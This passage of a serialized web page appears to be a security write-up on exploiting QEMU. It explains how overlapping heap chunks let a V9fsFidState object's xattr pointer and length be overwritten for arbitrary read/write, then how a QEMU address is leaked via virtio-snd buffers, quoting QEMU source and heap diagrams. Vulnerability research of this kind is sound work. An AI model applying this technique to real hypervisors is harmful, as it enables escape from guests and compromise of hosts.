file_fidp;\n",{"type":24,"tag":158,"props":130949,"children":130950},{"class":160,"line":1527},[130951,130955,130959,130963,130967,130971,130975,130979,130983],{"type":24,"tag":158,"props":130952,"children":130953},{"style":177},[130954],{"type":29,"value":129772},{"type":24,"tag":158,"props":130956,"children":130957},{"style":188},[130958],{"type":29,"value":14991},{"type":24,"tag":158,"props":130960,"children":130961},{"style":177},[130962],{"type":29,"value":38246},{"type":24,"tag":158,"props":130964,"children":130965},{"style":188},[130966],{"type":29,"value":347},{"type":24,"tag":158,"props":130968,"children":130969},{"style":177},[130970],{"type":29,"value":129696},{"type":24,"tag":158,"props":130972,"children":130973},{"style":188},[130974],{"type":29,"value":347},{"type":24,"tag":158,"props":130976,"children":130977},{"style":177},[130978],{"type":29,"value":10726},{"type":24,"tag":158,"props":130980,"children":130981},{"style":222},[130982],{"type":29,"value":462},{"type":24,"tag":158,"props":130984,"children":130985},{"style":188},[130986],{"type":29,"value":125880},{"type":24,"tag":158,"props":130988,"children":130989},{"class":160,"line":1545},[130990,130994,130998,131002,131006,131010,131014,131018,131022,131026],{"type":24,"tag":158,"props":130991,"children":130992},{"style":177},[130993],{"type":29,"value":129772},{"type":24,"tag":158,"props":130995,"children":130996},{"style":188},[130997],{"type":29,"value":14991},{"type":24,"tag":158,"props":130999,"children":131000},{"style":177},[131001],{"type":29,"value":38246},{"type":24,"tag":158,"props":131003,"children":131004},{"style":188},[131005],{"type":29,"value":347},{"type":24,"tag":158,"props":131007,"children":131008},{"style":177},[131009],{"type":29,"value":129696},{"type":24,"tag":158,"props":131011,"children":131012},{"style":188},[131013],{"type":29,"value":347},{"type":24,"tag":158,"props":131015,"children":131016},{"style":177},[131017],{"type":29,"value":40416},{"type":24,"tag":158,"props":131019,"children":131020},{"style":222},[131021],{"type":29,"value":462},{"type":24,"tag":158,"props":131023,"children":131024},{"style":496},[131025],{"type":29,"value":125451},{"type":24,"tag":158,"props":131027,"children":131028},{"style":188},[131029],{"type":29,"value":129809},{"type":24,"tag":158,"props":131031,"children":131032},{"class":160,"line":1618},[131033],{"type":24,"tag":158,"props":131034,"children":131035},{"emptyLinePlaceholder":16},[131036],{"type":29,"value":481},{"type":24,"tag":158,"props":131038,"children":131039},{"class":160,"line":1635},[131040],{"type":24,"tag":158,"props":131041,"children":131042},{"style":188},[131043],{"type":29,"value":106079},{"type":24,"tag":25,"props":131045,"children":131046},{},[131047,131049,131055,131057,131062,131063,131068,131070,131075,131077,131083,131084,131090,131092,131097,131098,131103],{"type":29,"value":131048},"The important detail here is that an xattr FID stores both the backing pointer and its length inside the surrounding ",{"type":24,"tag":154,"props":131050,"children":131052},{"className":131051},[],[131053],{"type":29,"value":131054},"V9fsFidState",{"type":29,"value":131056}," object. In other words, if we can place a ",{"type":24,"tag":154,"props":131058,"children":131060},{"className":131059},[],[131061],{"type":29,"value":131054},{"type":29,"value":8963},{"type":24,"tag":154,"props":131064,"children":131066},{"className":131065},[],[131067],{"type":29,"value":130623},{"type":29,"value":131069}," currently sits, the overlapping ",{"type":24,"tag":154,"props":131071,"children":131073},{"className":131072},[],[131074],{"type":29,"value":130631},{"type":29,"value":131076}," chunk can overwrite ",{"type":24,"tag":154,"props":131078,"children":131080},{"className":131079},[],[131081],{"type":29,"value":131082},"V9fsFidState.fs.xattr.value",{"type":29,"value":1826},{"type":24,"tag":154,"props":131085,"children":131087},{"className":131086},[],[131088],{"type":29,"value":131089},"V9fsFidState.fs.xattr.len",{"type":29,"value":131091},". That would immediately give us arbitrary read and write through ",{"type":24,"tag":154,"props":131093,"children":131095},{"className":131094},[],[131096],{"type":29,"value":129885},{"type":29,"value":1826},{"type":24,"tag":154,"props":131099,"children":131101},{"className":131100},[],[131102],{"type":29,"value":129877},{"type":29,"value":347},{"type":24,"tag":25,"props":131105,"children":131106},{},[131107,131109,131114,131115,131120,131122,131127,131129,131135,131137,131142,131144,131149,131151,131156,131158,131163,131165,131170],{"type":29,"value":131108},"At this point, ",{"type":24,"tag":154,"props":131110,"children":131112},{"className":131111},[],[131113],{"type":29,"value":130623},{"type":29,"value":16679},{"type":24,"tag":154,"props":131116,"children":131118},{"className":131117},[],[131119],{"type":29,"value":129092},{"type":29,"value":131121}," chunk, while ",{"type":24,"tag":154,"props":131123,"children":131125},{"className":131124},[],[131126],{"type":29,"value":131054},{"type":29,"value":131128}," falls into the ",{"type":24,"tag":154,"props":131130,"children":131132},{"className":131131},[],[131133],{"type":29,"value":131134},"0x120",{"type":29,"value":131136}," size class. Before freeing ",{"type":24,"tag":154,"props":131138,"children":131140},{"className":131139},[],[131141],{"type":29,"value":130623},{"type":29,"value":131143},", we therefore use the oversized ",{"type":24,"tag":154,"props":131145,"children":131147},{"className":131146},[],[131148],{"type":29,"value":130631},{"type":29,"value":131150}," chunk to change its size to match ",{"type":24,"tag":154,"props":131152,"children":131154},{"className":131153},[],[131155],{"type":29,"value":131054},{"type":29,"value":131157},". Once ",{"type":24,"tag":154,"props":131159,"children":131161},{"className":131160},[],[131162],{"type":29,"value":130623},{"type":29,"value":131164}," is freed, it is inserted into the ",{"type":24,"tag":154,"props":131166,"children":131168},{"className":131167},[],[131169],{"type":29,"value":131134},{"type":29,"value":131171}," tcache bin.",{"type":24,"tag":147,"props":131173,"children":131175},{"code":131174}," .value Y extended\n |\n+--------------------+--------------------+\n| |\n| Free |\nv 0x120 v\n+--------------------+---------------+----+\n| |...............| |\n| .value Y |...............| |\n| |...............| |\n+--------------------+---------------+----+\n",[131176],{"type":24,"tag":154,"props":131177,"children":131178},{"__ignoreMap":7},[131179],{"type":29,"value":131174},{"type":24,"tag":25,"props":131181,"children":131182},{},[131183,131185,131190,131192,131198,131200,131206,131208,131213],{"type":29,"value":131184},"After that, we can simply allocate a new ",{"type":24,"tag":154,"props":131186,"children":131188},{"className":131187},[],[131189],{"type":29,"value":131054},{"type":29,"value":131191}," with a ",{"type":24,"tag":154,"props":131193,"children":131195},{"className":131194},[],[131196],{"type":29,"value":131197},"P9_TWALK",{"type":29,"value":131199}," request and a fresh FID - this reaches ",{"type":24,"tag":154,"props":131201,"children":131203},{"className":131202},[],[131204],{"type":29,"value":131205},"alloc_fid",{"type":29,"value":131207},", which allocates a new ",{"type":24,"tag":154,"props":131209,"children":131211},{"className":131210},[],[131212],{"type":29,"value":131054},{"type":29,"value":225},{"type":24,"tag":147,"props":131215,"children":131217},{"code":131216,"language":2907,"meta":7,"className":17751,"style":7},"static void coroutine_fn v9fs_walk(void *opaque)\n{\n V9fsFidState *fidp;\n V9fsFidState *newfidp = NULL;\n\n [...]\n\n if (fid == newfid) {\n [...]\n } else {\n newfidp = alloc_fid(s, newfid);\n if (newfidp == NULL) {\n err = -EINVAL;\n goto out;\n }\n newfidp->uid = fidp->uid;\n v9fs_path_copy(&newfidp->path, &path);\n }\n\n [...]\n}\n\nstatic V9fsFidState *alloc_fid(V9fsState *s, int32_t fid)\n{\n V9fsFidState *f;\n\n f = g_hash_table_lookup(s->fids, GINT_TO_POINTER(fid));\n if (f) {\n /* If fid is already there return NULL */\n BUG_ON(f->clunked);\n return NULL;\n }\n f = g_new0(V9fsFidState, 1);\n\n [...]\n",[131218],{"type":24,"tag":154,"props":131219,"children":131220},{"__ignoreMap":7},[131221,131261,131268,131284,131312,131319,131326,131333,131354,131361,131376,131398,131422,131443,131454,131461,131499,131541,131548,131555,131562,131569,131576,131627,131634,131649,131656,131704,131716,131724,131753,131768,131775,131804,131811],{"type":24,"tag":158,"props":131222,"children":131223},{"class":160,"line":161},[131224,131228,131232,131236,131241,131245,131249,131253,131257],{"type":24,"tag":158,"props":131225,"children":131226},{"style":165},[131227],{"type":29,"value":52316},{"type":24,"tag":158,"props":131229,"children":131230},{"style":165},[131231],{"type":29,"value":52321},{"type":24,"tag":158,"props":131233,"children":131234},{"style":188},[131235],{"type":29,"value":129222},{"type":24,"tag":158,"props":131237,"children":131238},{"style":496},[131239],{"type":29,"value":131240},"v9fs_walk",{"type":24,"tag":158,"props":131242,"children":131243},{"style":188},[131244],{"type":29,"value":504},{"type":24,"tag":158,"props":131246,"children":131247},{"style":165},[131248],{"type":29,"value":52899},{"type":24,"tag":158,"props":131250,"children":131251},{"style":222},[131252],{"type":29,"value":615},{"type":24,"tag":158,"props":131254,"children":131255},{"style":177},[131256],{"type":29,"value":129244},{"type":24,"tag":158,"props":131258,"children":131259},{"style":188},[131260],{"type":29,"value":2125},{"type":24,"tag":158,"props":131262,"children":131263},{"class":160,"line":213},[131264],{"type":24,"tag":158,"props":131265,"children":131266},{"style":188},[131267],{"type":29,"value":1710},{"type":24,"tag":158,"props":131269,"children":131270},{"class":160,"line":238},[131271,131275,131279],{"type":24,"tag":158,"props":131272,"children":131273},{"style":188},[131274],{"type":29,"value":129369},{"type":24,"tag":158,"props":131276,"children":131277},{"style":222},[131278],{"type":29,"value":577},{"type":24,"tag":158,"props":131280,"children":131281},{"style":188},[131282],{"type":29,"value":131283},"fidp;\n",{"type":24,"tag":158,"props":131285,"children":131286},{"class":160,"line":259},[131287,131291,131295,131300,131304,131308],{"type":24,"tag":158,"props":131288,"children":131289},{"style":188},[131290],{"type":29,"value":129369},{"type":24,"tag":158,"props":131292,"children":131293},{"style":222},[131294],{"type":29,"value":577},{"type":24,"tag":158,"props":131296,"children":131297},{"style":188},[131298],{"type":29,"value":131299},"newfidp ",{"type":24,"tag":158,"props":131301,"children":131302},{"style":222},[131303],{"type":29,"value":1285},{"type":24,"tag":158,"props":131305,"children":131306},{"style":165},[131307],{"type":29,"value":129048},{"type":24,"tag":158,"props":131309,"children":131310},{"style":188},[131311],{"type":29,"value":473},{"type":24,"tag":158,"props":131313,"children":131314},{"class":160,"line":280},[131315],{"type":24,"tag":158,"props":131316,"children":131317},{"emptyLinePlaceholder":16},[131318],{"type":29,"value":481},{"type":24,"tag":158,"props":131320,"children":131321},{"class":160,"line":301},[131322],{"type":24,"tag":158,"props":131323,"children":131324},{"style":188},[131325],{"type":29,"value":106079},{"type":24,"tag":158,"props":131327,"children":131328},{"class":160,"line":626},[131329],{"type":24,"tag":158,"props":131330,"children":131331},{"emptyLinePlaceholder":16},[131332],{"type":29,"value":481},{"type":24,"tag":158,"props":131334,"children":131335},{"class":160,"line":668},[131336,131340,131345,131349],{"type":24,"tag":158,"props":131337,"children":131338},{"style":1914},[131339],{"type":29,"value":3160},{"type":24,"tag":158,"props":131341,"children":131342},{"style":188},[131343],{"type":29,"value":131344}," (fid ",{"type":24,"tag":158,"props":131346,"children":131347},{"style":222},[131348],{"type":29,"value":1034},{"type":24,"tag":158,"props":131350,"children":131351},{"style":188},[131352],{"type":29,"value":131353}," newfid) {\n",{"type":24,"tag":158,"props":131355,"children":131356},{"class":160,"line":676},[131357],{"type":24,"tag":158,"props":131358,"children":131359},{"style":188},[131360],{"type":29,"value":125317},{"type":24,"tag":158,"props":131362,"children":131363},{"class":160,"line":684},[131364,131368,131372],{"type":24,"tag":158,"props":131365,"children":131366},{"style":188},[131367],{"type":29,"value":17015},{"type":24,"tag":158,"props":131369,"children":131370},{"style":1914},[131371],{"type":29,"value":4978},{"type":24,"tag":158,"props":131373,"children":131374},{"style":188},[131375],{"type":29,"value":210},{"type":24,"tag":158,"props":131377,"children":131378},{"class":160,"line":700},[131379,131384,131388,131393],{"type":24,"tag":158,"props":131380,"children":131381},{"style":188},[131382],{"type":29,"value":131383}," newfidp ",{"type":24,"tag":158,"props":131385,"children":131386},{"style":222},[131387],{"type":29,"value":1285},{"type":24,"tag":158,"props":131389,"children":131390},{"style":496},[131391],{"type":29,"value":131392}," alloc_fid",{"type":24,"tag":158,"props":131394,"children":131395},{"style":188},[131396],{"type":29,"value":131397},"(s, newfid);\n",{"type":24,"tag":158,"props":131399,"children":131400},{"class":160,"line":785},[131401,131405,131410,131414,131418],{"type":24,"tag":158,"props":131402,"children":131403},{"style":1914},[131404],{"type":29,"value":4936},{"type":24,"tag":158,"props":131406,"children":131407},{"style":188},[131408],{"type":29,"value":131409}," (newfidp ",{"type":24,"tag":158,"props":131411,"children":131412},{"style":222},[131413],{"type":29,"value":1034},{"type":24,"tag":158,"props":131415,"children":131416},{"style":165},[131417],{"type":29,"value":129048},{"type":24,"tag":158,"props":131419,"children":131420},{"style":188},[131421],{"type":29,"value":16038},{"type":24,"tag":158,"props":131423,"children":131424},{"class":160,"line":1447},[131425,131430,131434,131438],{"type":24,"tag":158,"props":131426,"children":131427},{"style":188},[131428],{"type":29,"value":131429}," err ",{"type":24,"tag":158,"props":131431,"children":131432},{"style":222},[131433],{"type":29,"value":1285},{"type":24,"tag":158,"props":131435,"children":131436},{"style":222},[131437],{"type":29,"value":52527},{"type":24,"tag":158,"props":131439,"children":131440},{"style":188},[131441],{"type":29,"value":131442},"EINVAL;\n",{"type":24,"tag":158,"props":131444,"children":131445},{"class":160,"line":1509},[131446,131450],{"type":24,"tag":158,"props":131447,"children":131448},{"style":1914},[131449],{"type":29,"value":61823},{"type":24,"tag":158,"props":131451,"children":131452},{"style":188},[131453],{"type":29,"value":61828},{"type":24,"tag":158,"props":131455,"children":131456},{"class":160,"line":1527},[131457],{"type":24,"tag":158,"props":131458,"children":131459},{"style":188},[131460],{"type":29,"value":5010},{"type":24,"tag":158,"props":131462,"children":131463},{"class":160,"line":1545},[131464,131469,131473,131478,131482,131487,131491,131495],{"type":24,"tag":158,"props":131465,"children":131466},{"style":177},[131467],{"type":29,"value":131468}," newfidp",{"type":24,"tag":158,"props":131470,"children":131471},{"style":188},[131472],{"type":29,"value":14991},{"type":24,"tag":158,"props":131474,"children":131475},{"style":177},[131476],{"type":29,"value":131477},"uid",{"type":24,"tag":158,"props":131479,"children":131480},{"style":222},[131481],{"type":29,"value":462},{"type":24,"tag":158,"props":131483,"children":131484},{"style":177},[131485],{"type":29,"value":131486}," fidp",{"type":24,"tag":158,"props":131488,"children":131489},{"style":188},[131490],{"type":29,"value":14991},{"type":24,"tag":158,"props":131492,"children":131493},{"style":177},[131494],{"type":29,"value":131477},{"type":24,"tag":158,"props":131496,"children":131497},{"style":188},[131498],{"type":29,"value":473},{"type":24,"tag":158,"props":131500,"children":131501},{"class":160,"line":1618},[131502,131507,131511,131515,131520,131524,131528,131532,131536],{"type":24,"tag":158,"props":131503,"children":131504},{"style":496},[131505],{"type":29,"value":131506}," v9fs_path_copy",{"type":24,"tag":158,"props":131508,"children":131509},{"style":188},[131510],{"type":29,"value":504},{"type":24,"tag":158,"props":131512,"children":131513},{"style":222},[131514],{"type":29,"value":2212},{"type":24,"tag":158,"props":131516,"children":131517},{"style":177},[131518],{"type":29,"value":131519},"newfidp",{"type":24,"tag":158,"props":131521,"children":131522},{"style":188},[131523],{"type":29,"value":14991},{"type":24,"tag":158,"props":131525,"children":131526},{"style":177},[131527],{"type":29,"value":113602},{"type":24,"tag":158,"props":131529,"children":131530},{"style":188},[131531],{"type":29,"value":191},{"type":24,"tag":158,"props":131533,"children":131534},{"style":222},[131535],{"type":29,"value":2212},{"type":24,"tag":158,"props":131537,"children":131538},{"style":188},[131539],{"type":29,"value":131540},"path);\n",{"type":24,"tag":158,"props":131542,"children":131543},{"class":160,"line":1635},[131544],{"type":24,"tag":158,"props":131545,"children":131546},{"style":188},[131547],{"type":29,"value":3967},{"type":24,"tag":158,"props":131549,"children":131550},{"class":160,"line":1644},[131551],{"type":24,"tag":158,"props":131552,"children":131553},{"emptyLinePlaceholder":16},[131554],{"type":29,"value":481},{"type":24,"tag":158,"props":131556,"children":131557},{"class":160,"line":1652},[131558],{"type":24,"tag":158,"props":131559,"children":131560},{"style":188},[131561],{"type":29,"value":106079},{"type":24,"tag":158,"props":131563,"children":131564},{"class":160,"line":1704},[131565],{"type":24,"tag":158,"props":131566,"children":131567},{"style":188},[131568],{"type":29,"value":307},{"type":24,"tag":158,"props":131570,"children":131571},{"class":160,"line":1713},[131572],{"type":24,"tag":158,"props":131573,"children":131574},{"emptyLinePlaceholder":16},[131575],{"type":29,"value":481},{"type":24,"tag":158,"props":131577,"children":131578},{"class":160,"line":1731},[131579,131583,131588,131592,131596,131601,131605,131609,131613,131618,131623],{"type":24,"tag":158,"props":131580,"children":131581},{"style":165},[131582],{"type":29,"value":52316},{"type":24,"tag":158,"props":131584,"children":131585},{"style":188},[131586],{"type":29,"value":131587}," V9fsFidState ",{"type":24,"tag":158,"props":131589,"children":131590},{"style":222},[131591],{"type":29,"value":577},{"type":24,"tag":158,"props":131593,"children":131594},{"style":496},[131595],{"type":29,"value":131205},{"type":24,"tag":158,"props":131597,"children":131598},{"style":188},[131599],{"type":29,"value":131600},"(V9fsState ",{"type":24,"tag":158,"props":131602,"children":131603},{"style":222},[131604],{"type":29,"value":577},{"type":24,"tag":158,"props":131606,"children":131607},{"style":177},[131608],{"type":29,"value":1472},{"type":24,"tag":158,"props":131610,"children":131611},{"style":188},[131612],{"type":29,"value":191},{"type":24,"tag":158,"props":131614,"children":131615},{"style":165},[131616],{"type":29,"value":131617},"int32_t",{"type":24,"tag":158,"props":131619,"children":131620},{"style":177},[131621],{"type":29,"value":131622}," fid",{"type":24,"tag":158,"props":131624,"children":131625},{"style":188},[131626],{"type":29,"value":2125},{"type":24,"tag":158,"props":131628,"children":131629},{"class":160,"line":5485},[131630],{"type":24,"tag":158,"props":131631,"children":131632},{"style":188},[131633],{"type":29,"value":1710},{"type":24,"tag":158,"props":131635,"children":131636},{"class":160,"line":5493},[131637,131641,131645],{"type":24,"tag":158,"props":131638,"children":131639},{"style":188},[131640],{"type":29,"value":129369},{"type":24,"tag":158,"props":131642,"children":131643},{"style":222},[131644],{"type":29,"value":577},{"type":24,"tag":158,"props":131646,"children":131647},{"style":188},[131648],{"type":29,"value":52437},{"type":24,"tag":158,"props":131650,"children":131651},{"class":160,"line":5553},[131652],{"type":24,"tag":158,"props":131653,"children":131654},{"emptyLinePlaceholder":16},[131655],{"type":29,"value":481},{"type":24,"tag":158,"props":131657,"children":131658},{"class":160,"line":10636},[131659,131664,131668,131673,131677,131681,131685,131690,131694,131699],{"type":24,"tag":158,"props":131660,"children":131661},{"style":188},[131662],{"type":29,"value":131663}," f ",{"type":24,"tag":158,"props":131665,"children":131666},{"style":222},[131667],{"type":29,"value":1285},{"type":24,"tag":158,"props":131669,"children":131670},{"style":496},[131671],{"type":29,"value":131672}," g_hash_table_lookup",{"type":24,"tag":158,"props":131674,"children":131675},{"style":188},[131676],{"type":29,"value":504},{"type":24,"tag":158,"props":131678,"children":131679},{"style":177},[131680],{"type":29,"value":1472},{"type":24,"tag":158,"props":131682,"children":131683},{"style":188},[131684],{"type":29,"value":14991},{"type":24,"tag":158,"props":131686,"children":131687},{"style":177},[131688],{"type":29,"value":131689},"fids",{"type":24,"tag":158,"props":131691,"children":131692},{"style":188},[131693],{"type":29,"value":191},{"type":24,"tag":158,"props":131695,"children":131696},{"style":496},[131697],{"type":29,"value":131698},"GINT_TO_POINTER",{"type":24,"tag":158,"props":131700,"children":131701},{"style":188},[131702],{"type":29,"value":131703},"(fid));\n",{"type":24,"tag":158,"props":131705,"children":131706},{"class":160,"line":10652},[131707,131711],{"type":24,"tag":158,"props":131708,"children":131709},{"style":1914},[131710],{"type":29,"value":3160},{"type":24,"tag":158,"props":131712,"children":131713},{"style":188},[131714],{"type":29,"value":131715}," (f) {\n",{"type":24,"tag":158,"props":131717,"children":131718},{"class":160,"line":10696},[131719],{"type":24,"tag":158,"props":131720,"children":131721},{"style":2588},[131722],{"type":29,"value":131723}," /* If fid is already there return NULL */\n",{"type":24,"tag":158,"props":131725,"children":131726},{"class":160,"line":10801},[131727,131732,131736,131740,131744,131749],{"type":24,"tag":158,"props":131728,"children":131729},{"style":496},[131730],{"type":29,"value":131731}," BUG_ON",{"type":24,"tag":158,"props":131733,"children":131734},{"style":188},[131735],{"type":29,"value":504},{"type":24,"tag":158,"props":131737,"children":131738},{"style":177},[131739],{"type":29,"value":34347},{"type":24,"tag":158,"props":131741,"children":131742},{"style":188},[131743],{"type":29,"value":14991},{"type":24,"tag":158,"props":131745,"children":131746},{"style":177},[131747],{"type":29,"value":131748},"clunked",{"type":24,"tag":158,"props":131750,"children":131751},{"style":188},[131752],{"type":29,"value":1071},{"type":24,"tag":158,"props":131754,"children":131755},{"class":160,"line":24754},[131756,131760,131764],{"type":24,"tag":158,"props":131757,"children":131758},{"style":1914},[131759],{"type":29,"value":16980},{"type":24,"tag":158,"props":131761,"children":131762},{"style":165},[131763],{"type":29,"value":129048},{"type":24,"tag":158,"props":131765,"children":131766},{"style":188},[131767],{"type":29,"value":473},{"type":24,"tag":158,"props":131769,"children":131770},{"class":160,"line":24789},[131771],{"type":24,"tag":158,"props":131772,"children":131773},{"style":188},[131774],{"type":29,"value":3967},{"type":24,"tag":158,"props":131776,"children":131777},{"class":160,"line":24797},[131778,131782,131786,131791,131796,131800],{"type":24,"tag":158,"props":131779,"children":131780},{"style":188},[131781],{"type":29,"value":131663},{"type":24,"tag":158,"props":131783,"children":131784},{"style":222},[131785],{"type":29,"value":1285},{"type":24,"tag":158,"props":131787,"children":131788},{"style":496},[131789],{"type":29,"value":131790}," g_new0",{"type":24,"tag":158,"props":131792,"children":131793},{"style":188},[131794],{"type":29,"value":131795},"(V9fsFidState, ",{"type":24,"tag":158,"props":131797,"children":131798},{"style":465},[131799],{"type":29,"value":5672},{"type":24,"tag":158,"props":131801,"children":131802},{"style":188},[131803],{"type":29,"value":1071},{"type":24,"tag":158,"props":131805,"children":131806},{"class":160,"line":24805},[131807],{"type":24,"tag":158,"props":131808,"children":131809},{"emptyLinePlaceholder":16},[131810],{"type":29,"value":481},{"type":24,"tag":158,"props":131812,"children":131813},{"class":160,"line":24814},[131814],{"type":24,"tag":158,"props":131815,"children":131816},{"style":188},[131817],{"type":29,"value":106079},{"type":24,"tag":25,"props":131819,"children":131820},{},[131821,131823,131828],{"type":29,"value":131822},"After it is allocated, it will be placed into that freed region in place of the old ",{"type":24,"tag":154,"props":131824,"children":131826},{"className":131825},[],[131827],{"type":29,"value":130623},{"type":29,"value":129960},{"type":24,"tag":147,"props":131830,"children":131832},{"code":131831}," .value Y extended\n |\n+--------------------+--------------------+\n| |\n| |\nv v\n+--------------------+---------------+----+\n| | |....|\n| .value Y | V9fsFidState |....|\n| | |....|\n+--------------------+---------------+----+\n",[131833],{"type":24,"tag":154,"props":131834,"children":131835},{"__ignoreMap":7},[131836],{"type":29,"value":131831},{"type":24,"tag":20134,"props":131838,"children":131840},{"id":131839},"leaking-a-qemu-address",[131841],{"type":29,"value":131842},"Leaking a QEMU Address",{"type":24,"tag":25,"props":131844,"children":131845},{},[131846],{"type":29,"value":131847},"We now have an arbitrary read/write primitive and a controlled chunk at a known address. The next step is to leak a QEMU code address so we can later redirect execution. To do this, we combine the arbitrary read primitive with the known-address chunk: we free that chunk, replace it with an object that contains pointers into QEMU's code or data, and then use arbitrary read to leak its fields.",{"type":24,"tag":25,"props":131849,"children":131850},{},[131851,131853,131858],{"type":29,"value":131852},"For this, we go back to virtio-snd and its buffer allocations. Recall ",{"type":24,"tag":154,"props":131854,"children":131856},{"className":131855},[],[131857],{"type":29,"value":125043},{"type":29,"value":225},{"type":24,"tag":147,"props":131860,"children":131862},{"code":131861,"language":2907,"meta":7,"className":17751,"style":7},"static void virtio_snd_handle_rx_xfer(VirtIODevice *vdev, VirtQueue *vq)\n{\n VirtIOSound *vsnd = VIRTIO_SND(vdev);\n VirtIOSoundPCMBuffer *buffer;\n VirtQueueElement *elem;\n size_t msg_sz, size;\n uint32_t stream_id;\n\n [...]\n\n for (;;) {\n VirtIOSoundPCMStream *stream;\n\n elem = virtqueue_pop(vq, sizeof(VirtQueueElement));\n if (!elem) {\n break;\n }\n /* get the message hdr object */\n msg_sz = iov_to_buf(elem->out_sg,\n elem->out_num,\n 0,\n &hdr,\n sizeof(virtio_snd_pcm_xfer));\n if (msg_sz != sizeof(virtio_snd_pcm_xfer)) {\n goto rx_err;\n }\n stream_id = le32_to_cpu(hdr.stream_id);\n\n [...]\n\n WITH_QEMU_LOCK_GUARD(&stream->queue_mutex) {\n size = iov_size(elem->in_sg, elem->in_num) -\n sizeof(virtio_snd_pcm_status);\n buffer = g_malloc0(sizeof(VirtIOSoundPCMBuffer) + size); // [1]\n buffer->elem = elem;\n buffer->vq = vq; // [2]\n buffer->size = 0;\n buffer->offset = 0;\n QSIMPLEQ_INSERT_TAIL(&stream->queue, buffer, entry);\n }\n",[131863],{"type":24,"tag":154,"props":131864,"children":131865},{"__ignoreMap":7},[131866,131909,131916,131947,131962,131977,131989,132002,132009,132016,132023,132034,132049,132056,132084,132103,132114,132121,132129,132166,132187,132199,132212,132225,132251,132263,132270,132308,132315,132322,132329,132360,132415,132427,132468,132491,132520,132547,132574,132606],{"type":24,"tag":158,"props":131867,"children":131868},{"class":160,"line":161},[131869,131873,131877,131881,131885,131889,131893,131897,131901,131905],{"type":24,"tag":158,"props":131870,"children":131871},{"style":165},[131872],{"type":29,"value":52316},{"type":24,"tag":158,"props":131874,"children":131875},{"style":165},[131876],{"type":29,"value":52321},{"type":24,"tag":158,"props":131878,"children":131879},{"style":496},[131880],{"type":29,"value":125122},{"type":24,"tag":158,"props":131882,"children":131883},{"style":188},[131884],{"type":29,"value":125127},{"type":24,"tag":158,"props":131886,"children":131887},{"style":222},[131888],{"type":29,"value":577},{"type":24,"tag":158,"props":131890,"children":131891},{"style":177},[131892],{"type":29,"value":125136},{"type":24,"tag":158,"props":131894,"children":131895},{"style":188},[131896],{"type":29,"value":125141},{"type":24,"tag":158,"props":131898,"children":131899},{"style":222},[131900],{"type":29,"value":577},{"type":24,"tag":158,"props":131902,"children":131903},{"style":177},[131904],{"type":29,"value":125150},{"type":24,"tag":158,"props":131906,"children":131907},{"style":188},[131908],{"type":29,"value":2125},{"type":24,"tag":158,"props":131910,"children":131911},{"class":160,"line":213},[131912],{"type":24,"tag":158,"props":131913,"children":131914},{"style":188},[131915],{"type":29,"value":1710},{"type":24,"tag":158,"props":131917,"children":131918},{"class":160,"line":238},[131919,131924,131928,131933,131937,131942],{"type":24,"tag":158,"props":131920,"children":131921},{"style":188},[131922],{"type":29,"value":131923}," VirtIOSound ",{"type":24,"tag":158,"props":131925,"children":131926},{"style":222},[131927],{"type":29,"value":577},{"type":24,"tag":158,"props":131929,"children":131930},{"style":188},[131931],{"type":29,"value":131932},"vsnd ",{"type":24,"tag":158,"props":131934,"children":131935},{"style":222},[131936],{"type":29,"value":1285},{"type":24,"tag":158,"props":131938,"children":131939},{"style":496},[131940],{"type":29,"value":131941}," VIRTIO_SND",{"type":24,"tag":158,"props":131943,"children":131944},{"style":188},[131945],{"type":29,"value":131946},"(vdev);\n",{"type":24,"tag":158,"props":131948,"children":131949},{"class":160,"line":259},[131950,131954,131958],{"type":24,"tag":158,"props":131951,"children":131952},{"style":188},[131953],{"type":29,"value":126140},{"type":24,"tag":158,"props":131955,"children":131956},{"style":222},[131957],{"type":29,"value":577},{"type":24,"tag":158,"props":131959,"children":131960},{"style":188},[131961],{"type":29,"value":126149},{"type":24,"tag":158,"props":131963,"children":131964},{"class":160,"line":280},[131965,131969,131973],{"type":24,"tag":158,"props":131966,"children":131967},{"style":188},[131968],{"type":29,"value":125169},{"type":24,"tag":158,"props":131970,"children":131971},{"style":222},[131972],{"type":29,"value":577},{"type":24,"tag":158,"props":131974,"children":131975},{"style":188},[131976],{"type":29,"value":125178},{"type":24,"tag":158,"props":131978,"children":131979},{"class":160,"line":301},[131980,131984],{"type":24,"tag":158,"props":131981,"children":131982},{"style":165},[131983],{"type":29,"value":17801},{"type":24,"tag":158,"props":131985,"children":131986},{"style":188},[131987],{"type":29,"value":131988}," msg_sz, size;\n",{"type":24,"tag":158,"props":131990,"children":131991},{"class":160,"line":626},[131992,131997],{"type":24,"tag":158,"props":131993,"children":131994},{"style":165},[131995],{"type":29,"value":131996}," uint32_t",{"type":24,"tag":158,"props":131998,"children":131999},{"style":188},[132000],{"type":29,"value":132001}," stream_id;\n",{"type":24,"tag":158,"props":132003,"children":132004},{"class":160,"line":668},[132005],{"type":24,"tag":158,"props":132006,"children":132007},{"emptyLinePlaceholder":16},[132008],{"type":29,"value":481},{"type":24,"tag":158,"props":132010,"children":132011},{"class":160,"line":676},[132012],{"type":24,"tag":158,"props":132013,"children":132014},{"style":188},[132015],{"type":29,"value":106079},{"type":24,"tag":158,"props":132017,"children":132018},{"class":160,"line":684},[132019],{"type":24,"tag":158,"props":132020,"children":132021},{"emptyLinePlaceholder":16},[132022],{"type":29,"value":481},{"type":24,"tag":158,"props":132024,"children":132025},{"class":160,"line":700},[132026,132030],{"type":24,"tag":158,"props":132027,"children":132028},{"style":1914},[132029],{"type":29,"value":4702},{"type":24,"tag":158,"props":132031,"children":132032},{"style":188},[132033],{"type":29,"value":125204},{"type":24,"tag":158,"props":132035,"children":132036},{"class":160,"line":785},[132037,132041,132045],{"type":24,"tag":158,"props":132038,"children":132039},{"style":188},[132040],{"type":29,"value":125212},{"type":24,"tag":158,"props":132042,"children":132043},{"style":222},[132044],{"type":29,"value":577},{"type":24,"tag":158,"props":132046,"children":132047},{"style":188},[132048],{"type":29,"value":125221},{"type":24,"tag":158,"props":132050,"children":132051},{"class":160,"line":1447},[132052],{"type":24,"tag":158,"props":132053,"children":132054},{"emptyLinePlaceholder":16},[132055],{"type":29,"value":481},{"type":24,"tag":158,"props":132057,"children":132058},{"class":160,"line":1509},[132059,132063,132067,132071,132075,132079],{"type":24,"tag":158,"props":132060,"children":132061},{"style":188},[132062],{"type":29,"value":125236},{"type":24,"tag":158,"props":132064,"children":132065},{"style":222},[132066],{"type":29,"value":1285},{"type":24,"tag":158,"props":132068,"children":132069},{"style":496},[132070],{"type":29,"value":125245},{"type":24,"tag":158,"props":13